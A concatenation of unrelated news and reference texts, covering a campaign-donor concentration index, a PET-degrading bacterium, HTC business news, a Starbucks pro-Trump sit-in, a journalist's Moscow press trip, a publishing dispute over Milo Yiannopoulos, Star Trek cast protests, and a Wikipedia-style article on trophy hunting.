Bernie Sanders and Donald Trump remained on the low end of the Index. Sanders, who raised $43.5 million in February, has so far received only 0.4 percent of his donations from donors contributing over $5,000. Trump, who loaned his campaign another $6.85 million in February, has only gotten 2.1 percent of the $9.6 million he received (from individual donors, PACs and super PACs) from donors contributing over $5,000. Both candidates received no contributions from donors giving $100,000 or more.
The analysis was done based on data collected from the FEC website, which, as of this installment of the Index (March 22, 2016) lists the reports for campaigns, PACs, JFCs and Super PACs (only for direct campaign donations and major super PACs) from 2015 through the end of February 2016. Researchers at the Stigler Center believe that there may be significant changes in the concentration of political contributions as the race progresses. The Center will publish a concentration and distribution analysis every three months until the presidential elections.
Some 311 million tons of plastic is produced across the globe annually, and just 10 percent makes it back to a recycling plant. The rest ends up in landfills, or as litter on land or in the ocean, where it remains for decades and longer.
As for the plastic that has been recycled, it has given rise to an unintended side effect: A team of scientists searching through sediments at a plastic bottle recycling plant in Osaka, Japan have found a strain of bacteria that has evolved to consume the most common type of plastic.
Ideonella sakaiensis 201-F6 can degrade poly (ethylene terephthalate), commonly called PET or PETE, in as little as six weeks, they report in a new paper published Thursday in the journal Science.
Common uses of PET include polyester fibers, disposable bottles, and food containers. The last two are typically labelled with a No. 1 inside a recycling symbol.
But this new paper doesn't mean you should ditch your reusable water bottles in favor of a tray of disposable ones, or that we're going to inject this bacteria into landfills tomorrow. This study simply evaluated if the bacteria in question could degrade PET and was conducted under laboratory conditions.
"We hope this bacterium could be applied to solve the severe problems by the wasted PET materials in nature," Kohei Oda, one of the study authors, tells The Christian Science Monitor in an email. But "this is just the initiation for application." More research has to be done in order to make this a practical solution to plastic pollution.
But could this sort of fix work in theory?
"[Plastics] have been engineered for cost and for durability, or longevity," says Giora Proskurowski, an oceanographer at the University of Washington who studies plastic debris in the ocean but was not part of this study, in a phone interview with the Monitor. But he's hopeful that this research could yield further studies and technologies to mitigate the problem.
The durability of plastic isn't the only challenge this potential fix faces. Microbes are like teenagers, Christopher Reddy, a senior scientist at Woods Hole Oceanographic Institution who studies environmental pollution and was not part of this study, explains in an interview with the Monitor.
"You can tell them to clean the garage over the weekend but they're going to do it on their own timescale, they're going to do it when they want, they're going to pick the easiest thing to do and they're likely going to leave you more frustrated than you think," he explains the metaphor. Similarly, you can't rely on microbes to break down compounds. "Don't rely on microbes to clean the environment."
Dr. Reddy says that has a lot to do with the environment outside the lab. In the experiment, he says, the researchers controlled the situation so the bacteria ate the plastic, but in nature, they would have many options for food.
Also, if I. sakaiensis 201-F6 were to be applied, it would likely only help plastic pollution on land. PET particles are denser than water, so they tend to sink down into the sediment. The trillions of tons of plastic particles amassing in the oceans are other types of plastics, types for which this bacteria probably lacks an appetite. Also, Dr. Proskurowski says, marine organisms have evolved to withstand the saltwater and sunlight that sediment-dwelling organisms might not.
Still, perhaps this bacteria could be harnessed to accelerate degradation of plastics that make it to a landfill, he says.
But this study does show that "the environment is evolving and you get the microbes evolving along with that as well," Proskurowski says. "These are evolving systems."
Neither Proskurowski nor Reddy were surprised that the researchers found an organism that can consume PET.
"I'm surprised it's taken this long. I've been waiting for results like this," Proskurowski says.
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"Nature is incredibly wily, microbes are incredibly wily," Reddy says. "Microbes are very good eaters."
The U11 received good reviews when it was unveiled May 16, and less than a month after going on sale, it has sold better than its predecessors, the M10 and the M9, said Chang Chia-lin (張嘉臨), president of HTC's smartphone and connected device division.
The shortfall in global demand for the new model will be filled probably only in early July, Chang said during a shareholder meeting.
Also in the meeting, HTC Chairwoman Cher Wang (王雪紅) said her company's future is promising and will produce satisfactory financial results next year, despite posting a net loss of NT$10.6 billion (US$349 million) in 2016.
HTC has seen an "excellent opportunity" in the rapidly growing market for virtual reality (VR) products, she went on.
In 2016, HTC invested more than NT$3 billion in VR technology, and the percentage of revenue generated by HTC from VR products was the highest in the world, she said.
According to Wang, the HTC Vive headset is currently regarded as the best product in the global VR market and she expressed confidence that it will continue to remain the world's No. 1.
Chang, meanwhile, said that a homogeneous market in which increased sales do not necessarily mean increased profits is a challenge faced by HTC in the transition from 4G to 5G mobile connectivity.
To overcome the challenge, HTC is hoping to minimize its operating costs and reduce the number of new smartphone models launched to three or four a year, he said.
In addition, the company will re-focus its R&D work in preparation for the launch of 5G services in 2020, he added.
(By Jeffrey Wu and Y.F. Low)
The baristas in the back cracked up. Hunt says she walked out because everyone was staring at her.
On Saturday, in response, nearly 50 Trump supporters engaged in a peaceful sit-in at the coffee shop. All of them wore clothing or carried items that signified their support for President Trump.
According to The Blaze:
The peaceful sit in, which began at 2 p.m., completely filled the Starbucks location — and even the parking lot, for a little while. The group had no demands, but instead wanted to stand up to a business they felt was disrespectful toward their political views, Mecklenburg County Republican Party board member James Tatro told The Charlotte Observer. . . . Members of the pro-Trump group told Fox 46 Charlotte that the sit-in started out a little tense, but the mood shifted when people started ordering beverages using names associated with the White House, like Vice President Mike Pence and Attorney General Jeff Sessions. “I gave them the name Trump and … they were very gracious about it,” Shellie Anderson told the TV station. “We just wanted to reverse the little negativity… It’s really good to come together and take something negative and just come in here and be respectful.”
The Mecklenberg County Republican Party boosted that the sit-in group consisted of representatives from the board, Hispanics for Trump, Women for Trump, and Deplorable Pride, a pro-Trump LGBT group. To me, it’s unfortunate that the organizers felt the need to put together their version of a rainbow coalition in order, as one of them said, to show “that Trump supporters are just as human as anyone else.”
Trump won the 2016 election and he carried North Carolina by 3.6 points over Hillary Clinton. His supporters shouldn’t be taking on the burden of proving their humanity.
Starbucks has apologized for its treatment of Hart. It said: “We have spoken with our store partners about this situation and are using this as a coaching opportunity for the future.”
It's hard to get a Big Mac in Moscow these days. The city's McDonald's are closing in quick succession, though nobody seems to know exactly why. Both the driver who picked us up from the airport and the receptionist in our hotel mentioned cutting trade ties with the West, but the official from the propagandist organization that flew us out to Russia said it was due to "sanitation reasons, which I'm sure will be resolved soon," and wouldn't be drawn into a longer conversation.
It's true that some of the McCafés, as they're called in mainland Europe, are clearly still doing a steady business. But many others—too many for it to be sanitation-related coincidence—stand in symbolic darkness. Twenty-three years ago, the first Russian McDonald's—its "window to the world"—opened in central Moscow, with five-hour lines for a Happy Meal snaking through Pushkin Square. Ever since the US and EU publicly condemned pro-Russia rebels' actions in Ukraine, however, McNuggets have been leaving a bad taste in Muscovites' mouths.
Backing up for a moment: When I first accepted an invitation onto a press trip to Moscow from a somewhat mysterious organization called Rossotrudnichestvo, I did so with a raised eyebrow. Nobody I knew had heard of the company before and I only got hold of the invitation through a Facebook message from a person I didn't know. When I turned up at their large office in London to inquire about the trip there were seemingly only two people working in the entire building, surrounded by darkened rooms that clearly hadn't been inhabited for months.
Standing in the middle of this weird half-lit maze, the woman helping me with a last-minute visa application could only tell me that the trip was being run to "foster relations between influential young journalists," and couldn't be tempted to expand on that. Hours of googling and questioning other journalists drew a blank. No one could say exactly what Rossotrudnichestvo was doing, or why. The only conclusion I could draw was that it was affiliated strongly but mysteriously with the Russian government and the country's most powerful media agencies.
Two weeks before I left for Moscow, a Malaysian Airlines flight had just come down in flames over Donetsk, EU sanctions had recently been imposed, and the Russian government had responded with an embargo on imported Western food. Some of my journalist friends were talking about a "new Cold War," which struck me as hyperbolic. Anyway, I'd already made my decision that I wanted to join the trip, mostly because the whole thing was confusingly but delightfully weird—no other media trip in the history of my short career had invited me through Facebook, failed to tell me what I was supposed to cover, or invited journalists out for what I assumed to be a propaganda tour right in the middle of a political crisis.
I'd done the Trans-Siberian Railway from Saint Petersburg to Beijing, via Moscow and Siberia, six years before with minimal culture shock, and felt then like Russia wasn't half as dangerous as everyone suddenly wanted it to be. It had seemed to me then that Russia was just another European country.
But in 2014, that no longer feels like the case. In fact, things have rapidly begun to go backwards, USSR-style. Take the case of Russia's massive news agency ITAR-TASS, which has 74 domestic offices and 65 bureaus throughout the world. During the Soviet era, this agency was known only as TASS (the Telegraph Agency of the Soviet Union). It was renamed by decree from Boris Yeltsin in 1992 after the dissolution of the USSR and the creation of the Russian Federation, thus gaining the prefix ITAR (Information Telegraph Agency of Russia). This is how it was known for the following two decades.
And then, recently and unexpectedly, Putin effectively reversed this decree and turned ITAR-TASS back into the Telegraph Agency of the Soviet Union. It's hard not to read political intent into symbolic actions as pointed as that.
I found out about ITAR-TASS and the other playgrounds of Moscow's media elite because our time in Russia was strictly structured, though our trip had no clear overall objective. The mornings would begin with monologues from impeccably dressed middle-aged men wearing sunglasses indoors. They were the heads of the government's most cherished publications and broadcast networks, and would usually cover a small amount of necessary information about their own organizations before casually mentioning that the "regathering of Russian lands" was imminent.
"The Western media lies," we were informed, again and again: a strange thing to tell people who are there as representatives of the Western media.
Moscow's Cathedral of Christ the Saviour, where members of Pussy Riot played the show that led to their arrest in 2012
Ask a member of the All-Russia State Television and Broadcasting Company why they have never featured Alexei Navalny-Moscow mayoral candidate, leader of mass protests against the Kremlin in 2011 and 2012, and the only Russian to be named in Time magazine's 2012 list of the 100 most influential people in the world—on national TV or radio even once, and they will tell you that he's "unimportant to Russians," a self-involved egotist with "a face for the Western media."
Ask anyone in the mainstream Russian media what they think of their Western counterparts and they will answer you with one word: "propagandists." Again and again, we were told in this exact phraseology that Russia was aiming to "win the information war." There is no objective truth, we were informed by one official; there is only narrative. A teenager studying journalism at Moscow State University told us that "democracy is an illusion."
Outside of the media agencies, Moscow has been transformed. During my visit, lush new parklands sprung up in front of my eyes where abandoned car parks had stood 24 hours before. The streets were newly paved, the polished stones literally shining, and many were lined with charity tents asking people to give money to the soldiers in Ukraine. Public memorials to Russian soldiers killed in Ukraine were a common sight; they were being hailed as the heroes of a new Russian struggle to take back land—and people—who rightfully belonged to Moscow.
That weekend, people came out for Moscow City Day in droves, swarming into open spaces like the Park of the Fallen Idols (or, depending upon your perspective, Park of the Heroes), which was once a place for abandoned Soviet statues and quiet reflection and now is a manicured space where free yoga classes are held and complimentary orange juice is given out among figures of Lenin, Krushchev, Brezhnev, and Stalin.
Some of the T-shirts on sale in Moscow's Red Square
T-shirts were on sale in Red Square that featured images of Putin and Medvedev walking arm-in-arm with the caption: "THEY ARE PATRIOTS, YOU?" and reproductions of the infamous "Putin topless on a horse" photo. The faces of the vendors told me that none of this was intended ironically. A member of our group spotted a man whose young son was proudly sporting one of these garments—a T-shirt featuring Putin staring into the middle distance, his abs decorated with the Olympic rings.
Later, traversing the ridiculously beautiful Moscow Metro, a fellow journalist and I experienced one unexpected effect of this rejuvenated patriotism: We were grabbed by a local man who had overheard us having a conversation in English. "This is Russia. Speak Russian!" he demanded, before adding, eloquently, "In fact, if you're American, I'll punch you."
(My colleague—who, luckily enough, was fluent in Russian himself—managed to persuade the man that we were Serbians on holiday, at which point the man threw his arms around him and proclaimed that they were "brothers.")
This escalating sense of national pride had reached levels of hysteria; it was touching the drunk man on the subway as much as it was Putin—who openly sobbed during a rendition of the Russian national anthem while we were there—and the news agency heads, who were provoked into slamming their fists on the tables in rage when told that most of us saw the Ukrainian crisis as a Russian invasion rather than a humanitarian expedition.
The design on one of the many Putin T-shirts being sold in and around Moscow's Red Square
At each bar and restaurant I visited, I spoke with as many Muscovites as I could under the watchful gaze of the Rossotrudnichestvo staff. Each one had the same story: Russia is a fantastic nation, Putin is popular, the West unfairly persecutes their media and their government.
"There is censorship here," some conceded, "but we are only 25 years into the Russian Federation. We need time to grow."
What's strange, though, I suggested, was the fact that no passing Muscovite will criticize Russian media or politics in any way, shape, or form. That isn't the case with any other European country, especially the UK, where it's basically compulsory to hate the government.
"We have a duty to represent Russia positively," I was told. "The West spreads so many lies among its citizens that we have to respond this way."
No airing your dirty laundry in public, keep your mouth shut, watch for foreigners, do what's right for your country. It was what you might call a war mentality.
After five or six days in Moscow, everyone within our small group began to feel the invisible strain of what was happening internationally. On the evenings we sat in the dining hall of our small hotel—ordering expensive beer, following the rolling news reports of Russians killed on Ukrainian battlefields, watching the buffet slowly change its produce from French to Russian cheeses as supply ran out—we speculated about why we had been accepted onto the trip. Some of us were food critics, or theater writers. Only one of us was a Russian correspondent. What did they want with us? How much were they watching us? What was the point of these back-to-back meetings, where we were expected to sit through three-hour-long diatribes about why and how our countries supposedly lied about Russia?
The Moscow Metro
One of the delegates started sleeping with his lights on. I began checking through my cupboards and behind the shower curtain every time I went back to my hotel room, half-convinced that I'd find an actual Russian agent curled up in between my dresses, holding up a machine to record the tiny noises that the spy devices surely installed in my smoke alarm might miss.
Whether or not we were being tailed as we navigated Moscow remains a mystery. We could have been distinctly significant or wholly unimportant to the people who brought us to the place and then left us, disheveled and bemused, back in London's Heathrow Airport after seven days of what had felt suspiciously like attempted indoctrination. We'd been told that we could return to Russia any time, that their doors were open to us and that the organization would happily pay for us to learn Russian and complete a PhD in the country if we so chose. I suppose it's an option if I ever plan to disappear after a particularly bad breakup or come across a situation that calls for faking my own death. Outside of those circumstances, however, I no longer see myself returning to Moscow any time soon.
In a city that only Vladimir Putin and his Prime Minister Dmitry Medvedev are allowed to fly above—no commercial airliners; no tourist organizations; not so much as a traffic helicopter—everybody looks up when the night sky is lit by the single red light of one of these impenetrable politicians' helicopters. Putin reportedly hates Moscow and spends most of his time in a house outside the city, so it's not unusual to see him airborne between governmental buildings and the suburbs. Still, it feels strange to be enjoying a cocktail in a riverside bar and to spot that physical manifestation, however small, of his existence and his influence over this metropolis and the sprawling reality of Siberia beyond.
Updated
A Tasmanian best-selling author says he feels betrayed and shamed by his own publishing company for signing a book deal with prominent US "alt-right" provocateur Milo Yiannopolous.
Hobart-born Bradley Trevor Greive, a former Australian Army paratrooper whose Blue Day Book featuring animal photos and humorous captions sold an estimated 20 million copies, attacked publishers Simon and Schuster (S&S) for their deal with Yiannopolous, who he described as a "hate peddler".
"They have shamed me and tainted my book," Greive wrote on his Facebook page.
"I am livid and nauseated in equal measure, and I know that many other S&S authors feel exactly the same way."
Yiannopolous, a 33-year-old US-based Brit, has expressed views on Islam, feminism, social justice, homosexuality and other issues that have enraged many and resulted in him being banned from Twitter.
He is reportedly set to release his book Dangerous with the S&S-owned affiliate Threshold Editions in March this year, in a deal reported to be worth $US250,000.
"To share a printing press with Milo Yiannopoulos cheapens us all," Greive said.
"It's one thing to liberate a rat from the sewer, but something else entirely to place its likeness on our coat of arms."
Publisher 'does not condone hate speech'
Yiannopolous, who is openly gay, has also infuriated much of the LGBTI community with his opinions, which include the view "no-one would choose to have a gay child rather than a straight one - it would be like wishing that they were born disabled".
Greive described the book deal by S&S as purely a commercial decision "and an ill-conceived and wildly irresponsible one at that, with serious cultural ramifications".
"Yes, free speech must be defended, and yes there is money to be made - but that is what shitty extremist blogs and online newspapers are for," he said.
In a statement on their Twitter account, S&S - which has released books by prominent US conservative figures including Donald Trump, former Bush-administration figure Dick Cheney and right-wing commentator Rush Limbaugh - said "we do not and never have condoned discrimination or hate speech in any form".
S&S said while "many may disagree with the books we publish" the opinions contained on the pages "belong to our authors".
Outrage part of sales plan, author claims
Greive singled out S&S executives Carolyn Kroll Reidy and Louise Burke, alleging the two were banking on outrage to fuel book sales.
"Self-styled provocateurs like Yiannopoulos rely on shock and unforgivable cruelty to attract an audience and we'll soon see this double-headed snake give insidious form to Threshold's entire marketing plan; indeed Carolyn Reidy and Louise Burke are counting on it in order to reap a handsome return on their considerable investment," he said.
The Yiannopoulos book deal has led to a backlash from some in the literary community, with the Chicago Review of Books declaring "in response to this disgusting validation of hate, we will not cover a single S&S book in 2017".
Greive said he supported the reviewer's ban and denied it was censorship.
"Let me be absolutely clear, this is not about about censorship, far from it. Yiannopoulos has unlimited access to far-right and alt-right media outlets," he said.
As of today, Dangerous is ranked 11th on the "hot new releases" for online book seller Amazon.
Topics: books-literature, arts-and-entertainment, tas
Actress Sonequa Martin-Green, who plays one of the show’s main characters, posted a picture of her and her fellow cast members taking a knee in solidarity with the NFL anthem protestors to Instagram shorty after “Star Trek: Discovery” premiered.
It went viral within hours.
#StarTrekDiscovery #takeaknee A post shared by Sonequa Martin-Green (@therealsonequa) on Sep 24, 2017 at 10:09pm PDT
While some social media users praised the cast for the “powerful and compassionate gesture,” most criticized them for getting political and alienating half their audience.
“Like a lot of folks, I choose to engage in recreational activities, whatever they may be, to get a few blissful minutes or hours away from the troubles of the world,” wrote one user. “You, and every other entertainer who does this are just putting those troubles front and center again.”
“I'm taking a STAND against your show. I will be boycotting it with many other patriotic Americans. Your empty gesture is meaningless and will cost you viewers,” said another.
Many others claimed they are no longer fans of the actors, the show, or the franchise.
“Life long Star Trek fan no more,” declared one user.
Trophy hunting is hunting of wild game for human recreation. The trophy is the animal or part of the animal kept, and usually displayed, to represent the success of the hunt. The game sought is typically a large or impressively ornamented male, such as one having large horns or antlers. Generally, only parts of the animal are kept as a trophies (usually the head, skin, horns or antlers) and the carcass itself is used for food or donated to the local community.
Trophies are often displayed in the hunter's home or office, and often in specially designed "trophy rooms," sometimes called "game rooms" or "gun rooms," in which the hunter's weaponry is displayed as well.[1]
Trophy hunting has both firm supporters and strong opponents. Debates surrounding trophy hunting centrally concern not only the question of the morality of recreational hunting and supposed conservation efforts of big-game and ranch hunting, but also the observed decline in animal species that are targets for trophy hunting.
Types of trophy hunting [ edit ]
Ranch hunting [ edit ]
Ranch hunting is a form of big-game hunting where the animals hunted are specifically bred on a ranch for trophy hunting purposes.
Many species of game such as the Indian blackbuck, nilgai, axis deer, barasingha, the Iranian red sheep, and variety of other species of deer, sheep, and antelope from Africa, Asia, and the Pacific islands were introduced to ranches in Texas and Florida for the sake of trophy hunting.
These animals are typically hunted on a fee for each kill, with hunters paying $4,000 or more to be able to hunt exotic game.[2][3] As many of these species are endangered or threatened in their native habitat, the United States' government requires 10% of the hunting fee to be given to conservation efforts in the areas where these animals are indigenous. Hunting of endangered animals in the United States is normally illegal under the Endangered Species Act, but is permitted on these ranches since the rare animals hunted there are not indigenous to the United States.
The Humane Society of the United States has criticized these ranches and their hunters with the reasoning that they are still hunting endangered animals even if the animals were raised specifically to be hunted.
African trophy hunting [ edit ]
Trophy hunting has been practiced in Africa and is still a practiced in many African countries. According to a study sponsored by International Council for Game and Wildlife Conservation (CIC) in partnership with the Food and Agriculture Organization (FAO), the revenue generated by hunting tourism in seven Southern African Development Communities (SADC) in 2008 was approximately 190 million USD.[4]
In an opinion piece by Jeff Flocken of the International Fund for Animal Welfare, he states that "despite the wild claims that trophy hunting brings millions of dollars in revenue to local people in otherwise poor communities, there is no proof of this. Even pro-hunting organizations like the International Council for Game and Wildlife Conservation have reported that only 3 percent of revenue from trophy hunting ever makes it to the communities affected by hunting. The rest goes to national governments or foreign-based outfitters. The money that does come into Africa from hunting pales in comparison to the billions generated from tourists who come just to watch wildlife. If lions and other animals continue to disappear from Africa, this vital source of income—nonconsumptive tourism—will end, adversely impacting people all over Africa."[5]
However, South African Environmental Affairs Minister, Edna Molewa, contradicts Flocken's conclusions by stating that the hunting industry has contributed millions to South Africa's economy in past years. In the 2010 hunting season, total revenue of approximately R1.1 billion was generated by the local and trophy hunting industries collectively. "This amount only reflects the revenue generated through accommodation and species fees. The true revenue is therefore substantially higher, as this amount does not even include revenue generated through the associated industries as a result of the multiplier effect," according to Molewa.[6]
North American trophy hunting [ edit ]
After the attention gained from the Killing of Cecil the lion, activists[who?] turned to North American wildlife, in particular the cougar.[citation needed] The cougar, also called the mountain lion, puma, or panther, is hunted for sport across its expansive habitat.[citation needed] According to the Washington, the only federally protected populations in the country are the Florida panther and the Eastern cougar, believed to be extinct.[7]
Several states—including Colorado, Utah and Washington—in recent years have proposed an increase in cougar hunting for various reasons, such as the desire to decrease human and livestock conflicts and/or to increase native deer populations.[citation needed] California is the only state throughout the West that prohibits cougar hunting.[8]
The Boone and Crockett Club, North America's oldest wildlife conservation group, used the selective harvest of older males to aid in the recovery of many big game species which were on the brink of extinction at the turn of the 20th century. The organization continues to promote this practice today, and monitors conservation success through its Big Game Records data set.[9]
North American trophy hunting should not be confused with canned hunting or "vanity hunting," which involves the shooting of genetically manipulated and selectively bred animals for the sole purpose of collecting an animal for display. The Boone and Crockett Club disavows this practice and actively campaigns against it.[10]
Legal standing [ edit ]
Trophy hunting is legal in many countries[citation needed]; however, there are restrictions on the species that can be hunted, when hunting can take place, and the weapons that can be used. Permits and government consent are also required. Specific laws of trophy hunting vary based on the criteria mentioned, and some areas have even banned trophy hunting all together. Specific laws[clarification needed] of trophy hunting usually concern endangered animals in an effort to protect them from extinction.[citation needed] In 1973, the United States passed a law called the Endangered Species Act.[11] This was meant to stop hunting and trafficking of many endangered species in the U.S. that are looked at as prized by many hunters such as the Wood Bison and Polar Bear.[12]
Influence in conservation [ edit ]
In Africa [ edit ]
Trophy hunting has been considered essential for providing economic incentives to conserve large carnivores according to other research studies in Conservation Biology,[13] Journal of Sustainable Tourism,[14] Wildlife Conservation by Sustainable Use,[15] and Animal Conservation.[13][16]
Tanzania has an estimated 40 per cent of the population of lions. Its wildlife authorities defend their success in keeping such numbers (as compared to countries like Kenya, where lion numbers have plummeted dramatically) as linked to the use of trophy hunting as a conservation tool[how?]. According to Alexander N. Songorwa, director of wildlife for the Tanzanian Ministry of Natural Resources and Tourism, trophy hunting generated roughly $75 million for Tanzania's economy from 2008 to 2011.[17]
Effects of trophy hunting on animal populations [ edit ]
When poorly managed, trophy hunting can cause negative ecological impacts for the target species such as altered age/sex structures,[18] social disruption,[19][20][21] deleterious genetic effects,[22][23][24] and even population declines in the event of excessive off-takes,[25][26] as well as threaten the conservation[27] and influence the behavior[28] of non-target species. The conservation role of the industry is also hindered by governments and hunting operators that fail to devolve adequate benefits to local communities, reducing incentives for them to protect wildlife,[29][30][31] and by unethical activities, such as shooting from vehicles and canned hunting, conducted by some operators which attract negative press and foster support for hunting bans.[32]
According to the Smithsonian Institution and the World Wildlife Fund, wildlife populations have decreased by an alarming rate of 52% since 1970.[33] This is heavily concentrated on mammals, birds, amphibians and reptiles. The decline is attributed to several reasons including over-exploitation, habitat loss, pollution and climate change.[34]
The graph depicts lion population decline from the 1800s. This information was taken from the National Geographic Big Cats Initiative.[citation needed]
Effects on habitat loss [ edit ]
A 2005 paper by Nigel Leader-Williams and colleagues in the Journal of International Wildlife Law and Policy asserted that the legalization of white rhinoceros hunting in South Africa motivated private landowners to reintroduce the species onto their lands. As a result, white rhinos increased from fewer than one hundred individuals to more than 11,000.[35] Leader-Williams's study also showed that trophy hunting in Zimbabwe doubled wildlife areas relative to state protected areas. The implementation of controlled and legalized hunting led to an increase in the area of suitable land available to elephants and other wildlife, which "reversed the problem of habitat loss and helping to maintain a sustained population increase in Zimbabwe's already large elephant population."[35]
A scientific study in the journal, Biological Conservation by Diogo Andrade, states that trophy hunting is of "major importance to conservation in Africa by creating economic incentives for conservation over vast areas, including areas which may be unsuitable for alternative wildlife-based land uses such as photographic ecotourism."[36] Financial incentives from trophy hunting effectively more than double the land area that is used for wildlife conservation, relative to what would be conserved relying on national parks alone, according to the study published in Biological Conservation.[36]
According to the American writer and journalist Richard Conniff, if Namibia is home to 1,750 of the roughly 5,000 black rhinos surviving in the wild, it's because it allows trophy hunting. Namibia's mountain zebra population has increased from 1,000 in 1982 to 27,000 in 2014. Elephants, which are gunned down elsewhere for their ivory, have gone from 15,000 to 20,000 in 1995. Lions, which were on the brink of extinction "from Senegal to Kenya", are increasing in Namibia.[37]
Financial support of conservation efforts [ edit ]
The International Union for Conservation of Nature recognizes that trophy hunting, when well-managed, can be sustainable and generate significant economic incentives for the conservation of target species and their habitats outside of protected areas.[38]
A study published in the journal Animal Conservation[35] and led by Peter Lindsey of Kenya's Mpala Research Centre concluded that most trophy hunters assure that they are concerned about the conservation, ethical, and social issues that hunting raises.[39] The study interviewed 150 Americans who had hunted in Africa before, or who planned to do so within three years. For example, hunters assure that they were much less willing to hunt in areas where African wild dogs or cheetahs were illegally shot than their hunting operators perceived, and they also showed greater concern for social issues than their operators realized, with a huge willingness to hunt in areas were local people lived and benefited from hunting (Fig.1). Eighty-six percent of hunters told the researchers they preferred hunting in an area where they knew that a portion of the proceeds went back into local communities.[35] A certification system could therefore allow hunters to select those operators who benefit local people and conduct themselves in a conservation-friendly manner.[32]
In America [ edit ]
Cougar hunting quotas have had a negative effect on the animals' population but also, the people in the surrounding communities.[clarification needed] According to Robert Wieglus, director of Large Carnivore Conservation Lab at Washington State University, when too many cougars are killed demographic issues can be seen in the cat's population. The male cougar is extremely territorial and will often seek out females in the territory to both mate and kill any cubs to ensure room for their own offspring. Oftentimes these are young "teenage" males who are hormonal and unpredictable.
These "teenage" lions are mostly responsible for killed livestock and unwanted human interaction. In addition, they often drive females with cubs into hiding or new territory, forcing the females to hunt new prey they did not before.
"Basically the bottom line was this heavy hunting of cougars was actually causing all the problems we were seeing," Wielgus said of his work in Washington.[40]
Economic influence [ edit ]
Perceived economic benefits of trophy hunting [ edit ]
According to the U.S. Fish and Wildlife Service, trophy hunting "provides an economic incentive" for ranchers to continue to breed those species, and that hunting "reduces the threat of the species' extinction".[41][42]
Moose head and deer antlers mounted as hunting trophies
According to Dr G.C. Dry, former President of Wildlife Ranching South Africa, wildlife ranches have contributed greatly to the South African economy. In his paper "COMMERCIAL WILDLIFE RANCHING’S CONTRIBUTION TO THE GREEN ECONOMY", he states that "commercial wildlife ranching is about appropriate land-use and rural development; it is less about animals per se, not a white affluent issue, not a conservation at-all-cost issue, but about economic sustainability".[43] Dr Dry's paper concludes that "It is a land-use option that is ecologically appropriate, economically sustainable, politically sensitive, and finally, socially just", however no references or sources are provided for the data used.
The International Union for Conservation of Nature reports in "The baby and the bathwater: trophy hunting, conservation and rural livelihoods", that trophy hunting, when well-managed, can be sustainable and generate significant economic incentives for the conservation of target species, but that there are valid concerns about the legality, sustainability and ethics of some hunting practices. The paper concludes that "in some contexts, there may be valid and feasible alternatives to trophy hunting that can deliver the above-mentioned benefits, but identifying, funding and implementing these requires genuine consultation and engagement with affected governments, the private sector and communities.[44]
Regulations, ban and effects [ edit ]
The U.S. Fish and Wildlife Service imposed a ban on imports. This ban is limited to elephant trophies from Zimbabwe and Tanzania for 2014–2015 and likely going to extend and expand.[40]
In 2001, Botswana instituted a one year ban on lion hunting.[45] They had previously permitted the hunting of fifty lions each year, which caused a shortage in mature males in the population, as the hunters preferred the lions with the largest manes.[46] After the ban, Safari Club International including prominent member, former President George H. W. Bush successfully lobbied the Botswanan government to reverse the ban.[45][46]
Botswana again banned trophy hunting in 2014, and now villagers claim they get no income from trophy hunters, suffer from damaged crop fields caused by elephants and buffaloes, and lions killing their livestock.[47] Some conservationists claim trophy hunting is more effective for wildlife management than a complete hunting ban.
In the wake of the killing of Cecil the lion, Emirates Airlines, American Airlines, Delta, and United Airlines have all banned the transportation of hunting trophies on flights.
On the contrary, Kenya, which banned trophy hunting in 1977, has seen a 70 percent decline of wild animals according to Laurence Frank, a zoology researcher at the University of California at Berkeley and director of the conservation group Living with Lions. Because the government has no incentive to protect wild animals, effective enforcement on protecting animals has been a disaster according to Frank.[48]
According to a 2012 article by P. Lindsey and G. Balme[clarification needed], if lion hunting was effectively precluded, trophy hunting could potentially become financially unviable across at least 59,538 km2 that could result in a concomitant loss of habitat[citation needed].
However, the loss of lion hunting could have other potentially broader negative impacts including reduction of competitiveness of wildlife-based land uses relative to ecologically unfavorable alternatives.[citation needed]
Restrictions on lion hunting may also reduce tolerance for the species among communities where local people benefit from trophy hunting, and may reduce funds available for anti-poaching.[49]
Controversy [ edit ]
Opposition [ edit ]
Arguments [ edit ]
Trophy hunter With hippopotamus prize (Zambia, May 2010).
Opponents voice strong opinions against trophy hunting based on the belief that it is immoral and lacks financial contribution to the communities affected by trophy hunting and to conservation efforts. National Geographic, for example, published a report in 2015 which says government corruption, especially in Zimbabwe, prevents elephant hunting fees from going towards any conservation efforts, with authorities keeping the fees for themselves. Governments also take more wildlife areas to profit from poaching and trophy hunting. Similarly, a 2017 report by the Australian-based Economists at Large says that trophy hunting amounted to less than one percent of tourism revenue in eight African countries.[50] According to an IUCN report from 2009, surrounding communities in West Africa receive little benefit from the hunting-safari business.[51]
Opponents also cite that the genetic health and social behaviors of species is adversely affected because hunters often kill the largest or most significant male of a species. The removal the most significant animals (because of the size of their horns or mane for example) can severely affect the health of a species population. As Dr Rob Knell states 'Because these high-quality males with large secondary sexual traits tend to father a high proportion of the offspring, their 'good genes' can spread rapidly, so populations of strongly sexually selected animals can adapt quickly to new environments. Removing these males reverses this effect and could have serious and unintended consequences. If the population is having to adapt to a new environment and you remove even a small proportion of these high quality males, you could drive it to extinction.'[52]
Cited from The League Against Cruel Sports "A November 2004 study by the University of Port Elizabeth estimated that eco-tourism on private game reserves generated more than 15 times the income of livestock or game rearing or overseas hunting. (1) Eco-tourism lodges in Eastern Cape Province produce almost 2000 rand (£180) per hectare. Researchers also noted that more jobs were created and staff received "extensive skills training".[53]
The U.S. House Committee on Natural Resources in 2016 concluded that trophy hunting may be contributing to the extinction of certain animals.[54]
Nnimmo Bassey, Nigerian environmental activist and director of the Health of Mother Earth Foundation, asserted in November 2017 that "wildlife in Africa have been decimated by trophy hunters".[55]
Conservationist groups such as IFAW and HSUS assert that trophy hunting is a key factor in the "silent extinction" of giraffes.[56]
Stances [ edit ]
Many of the 189 countries signatory to the 1992 Rio Accord have developed biodiversity action plans that discourage the hunting of protected species.[57]
Trophy hunting is also opposed by the group In Defense of Animals (IDA) on the basis that trophy hunters are not aimed at conservation, they are instead aimed at glory in hunting and killing the biggest and rarest animals. They contend that the trophy hunters are not interested in even saving endangered animals, and are more than willing to pay the very high prices for permits to kill members of an endangered species.[58]
PETA is also opposed to trophy hunting on the basis that it is unnecessary and cruel. The opposition from PETA is on the basis of the moral justification of hunting for sport. The pain that the animals suffer is not justified by the enjoyment that the hunters receive.
The League Against Cruel Sports also opposes trophy hunting for the reason that even if the animal that is being hunted for a trophy is not endangered, it is still unjustified to kill them. They respond to claims of economic benefits as false justifications for the continuance of the inhumane sport.
